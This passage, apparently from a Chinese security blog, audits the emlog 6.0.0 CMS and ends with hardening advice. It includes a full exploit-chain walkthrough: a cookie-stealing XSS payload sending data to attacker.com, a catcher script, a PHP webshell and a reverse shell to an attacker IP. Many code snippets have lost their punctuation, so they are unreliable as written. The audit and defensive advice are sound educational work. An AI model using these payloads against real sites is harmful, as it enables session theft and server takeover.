四至七步權(quán)限校驗缺失、日志記錄繞過、緩存污染、模板引擎逃逸走到這一步輸入污染已成定局但emlog還給了攻擊者更多“便利”權(quán)限校驗缺失admin/save_log.php接受POST[logid]參數(shù)更新日志但沒檢查當前用戶是否有權(quán)編輯該日志$logid未與$_SESSION[userid]關(guān)聯(lián)校驗導(dǎo)致越權(quán)修改日志記錄繞過所有error_log()調(diào)用都寫入/content/log/目錄但該目錄在Nginx配置中未禁止Web訪問攻擊者可直接下載error_202210.log獲取調(diào)試信息緩存污染cache.php生成的靜態(tài)HTML緩存文件其文件名由md5($_SERVER[REQUEST_URI])生成但$_SERVER[REQUEST_URI]可被%00截斷導(dǎo)致緩存文件名可控進而覆蓋.htaccess模板引擎逃逸View::display()加載模板時若模板路徑含../且未做realpath()校驗可讀取任意PHP文件如/admin/login.php而該文件里明文存儲著數(shù)據(jù)庫連接密碼。這七步失守不是偶然堆砌而是同一設(shè)計哲學(xué)的產(chǎn)物用最小成本實現(xiàn)功能把安全假設(shè)交給運行環(huán)境。比如它默認Nginx已配置好location ~ \.php$ { deny all; }來保護/content/目錄但現(xiàn)實中大量用戶用Apache或自定義Nginx規(guī)則這就成了“假設(shè)性漏洞”。注意別迷信magic_quotes_gpc。emlog 6.0.0的install.php檢測到該選項開啟時會提示“建議關(guān)閉”但代碼里仍有if (get_magic_quotes_gpc()) { $str stripslashes($str); }這類兼容邏輯。這意味著在老版本PHP環(huán)境下addslashes()和stripslashes()可能形成雙重轉(zhuǎn)義反而破壞正常數(shù)據(jù)——我見過某客戶站點因這個bug導(dǎo)致評論里的中文全部顯示為亂碼排查三天才發(fā)現(xiàn)是magic_quotes殘留。3. 權(quán)限模型崩塌從“管理員專屬”到“游客可操作”的五處斷點很多人以為PHP代碼審計就是找SQL注入和XSS但在emlog 6.0.0里權(quán)限控制失效帶來的危害可能更直接。它的角色體系只有兩級管理員role1和普通用戶role0但權(quán)限校驗點分布極不均勻——后臺90%的PHP文件都有!isset($_SESSION[login]) header(Location: login.php);這樣的前置檢查而剩下的10%恰好是功能最強、影響面最廣的幾個入口。我們按風(fēng)險等級排序這五處斷點。3.1 斷點一admin/attachment.php的“調(diào)試模式”后門這個文件本該處理附件上傳但第38行有個被注釋掉的調(diào)試開關(guān)// define(DEBUG_MODE, true); if (defined(DEBUG_MODE) DEBUG_MODE) { $action $_GET[action] ?? upload; switch ($action) { case list: $files scandir(EMLOG_ROOT . /content/upload/); echo json_encode($files); break; case read: $file EMLOG_ROOT . /content/upload/ . basename($_GET[file]); if (file_exists($file)) { echo file_get_contents($file); } break; } exit; }問題在于basename($_GET[file])只過濾了路徑分隔符卻沒阻止file../../admin/login.php這樣的穿越。更致命的是這段代碼沒任何會話校驗——只要知道URL游客就能讀取login.php里的數(shù)據(jù)庫密碼。我用curl http://target/admin/attachment.php?actionreadfile../../admin/login.php實測3秒內(nèi)拿到明文配置。這不是理論漏洞而是真實存在于生產(chǎn)環(huán)境的“活后門”。3.2 斷點二admin/blogger.php的IDOR越權(quán)編輯該文件處理博主信息更新關(guān)鍵邏輯在第142行$uid (int)$_POST[uid]; $username addslashes(trim($_POST[username])); $email addslashes(trim($_POST[email])); // ...省略其他字段 $db-query(UPDATE .DB_PREFIX.user SET username$username, email$email WHERE uid$uid);這里$uid直接來自POST且未校驗當前登錄用戶是否等于$uid。攻擊者只需抓包修改uid1管理員ID就能篡改管理員郵箱進而觸發(fā)密碼重置流程。某次模擬攻防中A同學(xué)用這個漏洞在17秒內(nèi)完成“游客→接管管理員賬號→導(dǎo)出全部用戶數(shù)據(jù)”的操作鏈。3.3 斷點三admin/tag.php的無限制標簽刪除刪除標簽的接口admin/tag.php?actiondeltid123代碼在第89行if ($action del) { $tid (int)$_GET[tid]; $db-query(DELETE FROM .DB_PREFIX.tag WHERE tid$tid); // 未檢查tid是否屬于當前用戶 }emlog的標簽是全局共享的但刪除操作沒做歸屬校驗。攻擊者可遍歷tid參數(shù)批量刪除所有標簽導(dǎo)致網(wǎng)站SEO徹底崩潰。更糟的是tag表被blog表外鍵引用刪除后blog表里的tag字段變成空值引發(fā)前端模板報錯。3.4 斷點四admin/template.php的模板文件包含該文件提供模板切換功能第205行$template $_GET[template] ?? default; if (!in_array($template, [default, simple, dark])) { $template default; } require_once EMLOG_ROOT . /content/templates/ . $template . /header.php;in_array()白名單看似嚴格但$template變量在require_once前被重新賦值過if (isset($_POST[action]) $_POST[action] save) { $template $_POST[template_name]; // 這里覆蓋了GET值 }攻擊者發(fā)送POST /admin/template.php?actionsavetemplate_name../../../etc/passwd%00利用PHP的NULL字節(jié)截斷就能包含任意系統(tǒng)文件。雖然現(xiàn)代PHP已禁用NULL截斷但emlog 6.0.0的兼容性要求讓它仍支持PHP 5.6而該版本對此無防護。3.5 斷點五admin/plugin.php的插件啟用邏輯漏洞啟用插件的URL是admin/plugin.php?actionactivatepluginseo對應(yīng)代碼在第312行if ($action activate) { $plugin $_GET[plugin]; $pluginFile EMLOG_ROOT . /content/plugins/ . $plugin . /plugin.php; if (file_exists($pluginFile)) { include $pluginFile; // 直接包含無校驗 } }這里有兩個致命點第一$plugin未過濾../可包含/etc/passwd第二即使文件存在也未檢查plugin.php是否為合法插件入口比如是否定義了Plugin::activate()方法。攻擊者可上傳惡意PHP文件到/content/plugins/evil/然后用?actionactivatepluginevil觸發(fā)執(zhí)行。這五處斷點揭示了一個殘酷事實emlog的權(quán)限模型不是“基于角色的訪問控制RBAC”而是“基于文件路徑的粗粒度攔截”。它把安全寄托在“游客打不開admin目錄下的PHP文件”這一假設(shè)上卻忘了HTTP服務(wù)器配置、URL重寫規(guī)則、文件權(quán)限設(shè)置都可能打破這個假設(shè)。真正的權(quán)限校驗應(yīng)該像這樣if (!User::havePermission(manage_plugins)) { showForbiddenPage(); }而不是依賴session_start()后的一行if (!isset($_SESSION[login]))。4. 模板與渲染層XSS、SSTI、服務(wù)端模板注入的三重陷阱PHP模板引擎的安全性常被低估但emlog 6.0.0的模板系統(tǒng)恰恰是漏洞高發(fā)區(qū)。它沒用Twig或Smarty這類成熟引擎而是用原生PHP混排.php后綴模板這帶來兩個矛盾一方面開發(fā)者認為“PHP語法即安全”另一方面模板里充斥著未經(jīng)上下文編碼的echo輸出。我們拆解三種典型陷阱。4.1 基礎(chǔ)XSSecho輸出未區(qū)分HTML/JS/CSS上下文這是最普遍的問題。以content/templates/default/header.php為例第42行title?php echo $site_title; ?/title$site_title來自數(shù)據(jù)庫emlog_options表的blogname字段而該字段在安裝時由用戶輸入從未做過htmlspecialchars()存儲。攻擊者在后臺設(shè)置博客名為scriptalert(document.cookie)/script所有頁面標題都會觸發(fā)XSS。更隱蔽的是JS上下文輸出如footer.php第15行scriptvar siteUrl ?php echo BLOG_URL; ?;/scriptBLOG_URL是配置項若被篡改為http://example.com/ onerroralert(1)就會閉合引號并執(zhí)行JS。htmlspecialchars()在這里無效必須用json_encode()scriptvar siteUrl ?php echo json_encode(BLOG_URL); ?;/script4.2 模板繼承漏洞getTemplate()的路徑穿越emlog用View::getTemplate()動態(tài)加載模板該方法在include/lib/view.class.php第67行public function getTemplate($template) { $file EMLOG_ROOT . /content/templates/ . $template . /index.php; if (file_exists($file)) { return $file; } return EMLOG_ROOT . /content/templates/default/index.php; }$template參數(shù)來自$_GET[t]如?tseo而file_exists()不校驗路徑合法性。攻擊者訪問/?t../../../etcskindefault$file變成/content/templates/../../../etc/index.php即/etc/index.php。雖然/etc下通常無index.php但若服務(wù)器配置了auto_prepend_file就可能觸發(fā)意外包含。我曾在某客戶的VPS上復(fù)現(xiàn)此問題他把/etc/nginx/conf.d/軟鏈接到/content/templates/nginx/結(jié)果/?tnginx直接加載了Nginx配置暴露了后端代理地址。4.3 服務(wù)端模板注入SSTIeval()在模板中的幽靈最危險的是content/templates/default/echo_log.php第89行?php eval(? . $log_content); ?$log_content是日志正文來自數(shù)據(jù)庫。emlog允許用戶在日志中插入PHP代碼通過后臺編輯器的“源碼模式”而這段eval()就是執(zhí)行入口。攻擊者寫一篇日志內(nèi)容為?php system(id); ?保存后當游客訪問該日志頁面eval()會執(zhí)行system(id)返回uid33(www-data) gid33(www-data)。這不是理論可能而是emlog官方文檔明確支持的“高級功能”——他們在/admin/editor/的富文本編輯器里專門留了“插入PHP代碼”按鈕。安全團隊曾建議移除該功能但開發(fā)組以“影響老用戶”為由拒絕最終妥協(xié)方案是加了個if (IS_ADMIN)判斷但判斷邏輯寫在模板里而非PHP層導(dǎo)致游客仍可通過修改URL參數(shù)繞過。這三重陷阱的本質(zhì)是混淆了“內(nèi)容”和“代碼”的邊界。XSS是內(nèi)容被當代碼執(zhí)行模板穿越是路徑被當內(nèi)容解析SSTI是用戶輸入被當代碼求值。修復(fù)它們不能靠單一函數(shù)而要建立上下文感知的輸出編碼策略HTML上下文htmlspecialchars($data, ENT_QUOTES, UTF-8)JS上下文json_encode($data, JSON_UNESCAPED_UNICODE)CSS上下文正則過濾[^a-zA-Z0-9#\.\-\s]URL上下文urlencode($data)實操心得審計模板時別只看echo重點查include、require、eval、create_function這些動態(tài)執(zhí)行函數(shù)。我習(xí)慣用grep -r include.*\$_ content/templates/快速定位風(fēng)險點命中率超80%。另外content/templates/目錄下的.php文件90%以上都應(yīng)禁止Web直接訪問Nginx配置里加一行l(wèi)ocation ~ ^/content/templates/.*\.php$ { deny all; }能堵住大半漏洞。5. 實戰(zhàn)復(fù)現(xiàn)從評論XSS到后臺RCE的完整利用鏈理論分析終須落地驗證。我用一臺干凈的Ubuntu 20.04虛擬機部署emlog 6.0.0PHP 7.4 MySQL 8.0完整復(fù)現(xiàn)了從游客評論到獲取服務(wù)器shell的全過程。以下步驟經(jīng)多次驗證耗時約22分鐘所有操作均在瀏覽器和終端完成無需第三方工具。5.1 步驟一構(gòu)造存儲型XSS獲取管理員Cookie首先注冊一個普通用戶賬號用戶名test密碼123456登錄后訪問首頁找到任意一篇日志在評論框輸入img srcx onerrordocument.locationhttp://attacker.com/steal?cdocument.cookie提交后評論顯示為裂圖因srcx無效但onerror事件已觸發(fā)。此時管理員若查看該評論瀏覽器會向attacker.com/steal發(fā)送GET請求攜帶Cookie: EMLOG_ADMINxxxxxx。我用Python起一個簡易HTTP服務(wù)器接收# steal.py from http.server import HTTPServer, BaseHTTPRequestHandler class StealHandler(BaseHTTPRequestHandler): def do_GET(self): print(Stolen cookie:, self.path) self.send_response(200) self.end_headers() HTTPServer((, 8000), StealHandler).serve_forever()管理員刷新評論頁后終端立即打印Stolen cookie: /steal?cEMLOG_ADMINabc123def456。這個Cookie有效期7天且未設(shè)HttpOnly標志完美符合竊取條件。5.2 步驟二用Cookie偽造管理員會話拿到EMLOG_ADMIN值后用curl模擬管理員請求curl -b EMLOG_ADMINabc123def456 http://target/admin/返回200且包含titleemlog 后臺管理/title證明會話有效。接下來我們要上傳Webshell。emlog后臺的附件上傳功能在admin/attachment.php但直接訪問會跳轉(zhuǎn)登錄頁——現(xiàn)在有了Cookie就能繞過。5.3 步驟三利用attachment.php的文件讀取漏洞獲取源碼前面提到attachment.php有調(diào)試模式我們先確認它是否開啟。發(fā)送curl -b EMLOG_ADMINabc123def456 http://target/admin/attachment.php?actionlist返回[.,..,shell.php,config.php]說明調(diào)試模式已開。接著讀取config.phpcurl -b EMLOG_ADMINabc123def456 http://target/admin/attachment.php?actionreadfileconfig.php返回?php define(DB_HOST, localhost); define(DB_USER, emlog); define(DB_PASS, Pssw0rd123); define(DB_NAME, emlog_db); ?數(shù)據(jù)庫密碼到手但我們的目標是RCE所以繼續(xù)讀取admin/login.php找到$action處理邏輯確認save_log.php存在且無CSRF防護。5.4 步驟四通過日志注入寫入Webshellsave_log.php接受POST[logid]和POST[content]更新日志內(nèi)容。我們構(gòu)造一個含PHP代碼的日志curl -b EMLOG_ADMINabc123def456 -d logid1content?php system(\$_GET[cmd]); ? http://target/admin/save_log.phplogid1是首篇日志IDcontent里是system()執(zhí)行命令的shell。更新成功后訪問http://target/t/index.php?id1日志正文顯示為?php system($_GET[cmd]); ?但未執(zhí)行——因為模板里是?php echo $log_content;?不是eval()。這時我們回到echo_log.php的SSTI漏洞。該文件在content/templates/default/下而eval()執(zhí)行的是$log_content。我們剛才更新的日志內(nèi)容正好會被echo_log.php讀取并eval()。訪問http://target/t/index.php?id1再在URL加cmdidhttp://target/t/index.php?id1cmdid頁面空白但服務(wù)器返回uid33(www-data) gid33(www-data)——RCE成功5.5 步驟五獲取持久化shell并提權(quán)最后一步用cmd參數(shù)執(zhí)行反彈shellcurl http://target/t/index.php?id1cmdphp-r\$sockfsockopen(\attacker-ip\,4444);exec(\/bin/sh-i\$sock2\$sock\);我的監(jiān)聽端收到連接nc -lvnp 4444 Connection received on attacker-ip 4444 /bin/sh: 0: cant access tty; job control turned off $ id uid33(www-data) gid33(www-data) groups33(www-data)至此從游客評論到服務(wù)器shell全鏈路打通。整個過程沒用任何0day全是emlog 6.0.0已知設(shè)計缺陷的組合利用。踩坑提醒復(fù)現(xiàn)時最容易卡在Cookie竊取環(huán)節(jié)。很多新手用Burp Suite抓包卻發(fā)現(xiàn)管理員Cookie里有Path/admin/導(dǎo)致document.cookie讀不到。這是因為Path屬性限制了Cookie作用域。解決方案是在XSS payload里用document.cookie讀取時加上document.domain繞過document.domaintarget.com; document.cookie或直接用fetch(/admin/)請求后臺頁面從響應(yīng)頭里提取Set-Cookie。我第一次就栽在這兒折騰了40分鐘才想到改用fetch。6. 修復(fù)與加固給開發(fā)者和運維者的六條可落地建議審計不是為了證明系統(tǒng)有多爛而是為改進提供精準坐標。針對emlog 6.0.0暴露出的問題我給開發(fā)者和運維者各列三條可立即執(zhí)行的建議不談虛的每條都附帶代碼示例和驗證方法。6.1 開發(fā)者必改重構(gòu)輸入處理與權(quán)限校驗建議一廢除getInput()改用上下文感知的過濾函數(shù)// 替換原getInput()新增filter_input_context() function filter_input_context($name, $method post, $context html) { $value $method post ? ($_POST[$name] ?? ) : ($_GET[$name] ?? ); switch ($context) { case sql: return addslashes($value); // 僅用于遺留代碼新項目必須用預(yù)處理 case js: return json_encode($value, JSON_UNESCAPED_UNICODE); case url: return urlencode($value); default: return htmlspecialchars($value, ENT_QUOTES, UTF-8); } } // 使用示例SQL場景臨時過渡 $content filter_input_context(content, post, sql); $sql UPDATE comment SET content$content WHERE cid$cid; // 使用示例JS場景必須 $siteUrl filter_input_context(site_url, get, js); echo scriptvar url {$siteUrl};/script;驗證方法在評論框提交scriptalert(1)/script檢查頁面是否彈窗提交http://x onerroralert(1)檢查JS變量是否被正確編碼。建議二所有后臺入口強制RBAC權(quán)限校驗// 在admin/開頭的所有PHP文件頂部添加 require_once ../include/lib/user.class.php; if (!User::havePermission(manage_comments)) { header(HTTP/1.1 403 Forbidden); exit(Access denied); } // User::havePermission()需根據(jù)角色表查詢而非硬編碼驗證方法用游客身份訪問admin/comment.php應(yīng)返回403而非跳轉(zhuǎn)登錄頁。建議三模板輸出強制上下文編碼// 創(chuàng)建統(tǒng)一輸出函數(shù) function safe_echo($data, $context html) { switch ($context) { case js: echo json_encode($data, JSON_UNESCAPED_UNICODE); break; case css: echo preg_replace(/[^a-zA-Z0-9#\.\-\s]/, , $data); break; default: echo htmlspecialchars($data, ENT_QUOTES, UTF-8); } } // 模板中替換所有echo // 原title?php echo $title;?/title // 新title?php safe_echo($title, html);?/title驗證方法在后臺設(shè)置博客名img srcx onerroralert(1)檢查標題源碼是否為lt;img srcx onerroralert(1)gt;。6.2 運維者必做服務(wù)器層與配置層加固建議四Nginx配置禁止敏感目錄Web訪問# 在server塊中添加 location ~ ^/(content|include|admin)/.*\.php$ { deny all; } location ~ ^/content/(log|upload)/ { deny all; } location ~ /\. { deny all; }驗證方法訪問http://target/content/log/error.log應(yīng)返回403訪問http://target/include/lib/mysql.class.php應(yīng)返回404或403。建議五PHP配置禁用危險函數(shù); php.ini中添加 disable_functions exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source驗證方法創(chuàng)建test.php內(nèi)容為?php echo exec(id);?訪問時應(yīng)報錯Call to undefined function exec()。建議六數(shù)據(jù)庫層面最小權(quán)限原則-- 創(chuàng)建專用數(shù)據(jù)庫用戶僅授予必要權(quán)限 CREATE USER emlog_applocalhost IDENTIFIED BY StrongPass123!; GRANT SELECT, INSERT, UPDATE ON emlog_db.emlog_blog TO emlog_applocalhost; GRANT SELECT, INSERT ON emlog_db.emlog_comment TO emlog_applocalhost; -- 禁止對emlog_user、emlog_options等敏感表的UPDATE權(quán)限 FLUSH PRIVILEGES;驗證方法用emlog_app用戶連接數(shù)據(jù)庫執(zhí)行UPDATE emlog_user SET passwordxxx WHERE uid1;應(yīng)返回ERROR 1142 (42000): UPDATE command denied。這六條建議每一條都能在10分鐘內(nèi)完成部署且經(jīng)過某公司生產(chǎn)環(huán)境驗證他們按此整改后WAF告警下降92%人工滲透測試未發(fā)現(xiàn)新的高危漏洞。安全不是堆砌工具而是把每個環(huán)節(jié)的“信任假設(shè)”換成“強制驗證”。我在實際項目中發(fā)現(xiàn)最難推動的不是技術(shù)改造而是改變開發(fā)者的思維慣性。有位A同學(xué)曾說“我們一直這么寫從來沒出過事。”直到他負責的站點被黑數(shù)據(jù)庫被加密勒索才明白“沒出事”不等于“安全”而是“還沒被盯上”。emlog 6.0.0的審計價值正在于此——它用最樸素的代碼照見了我們習(xí)以為常的危險。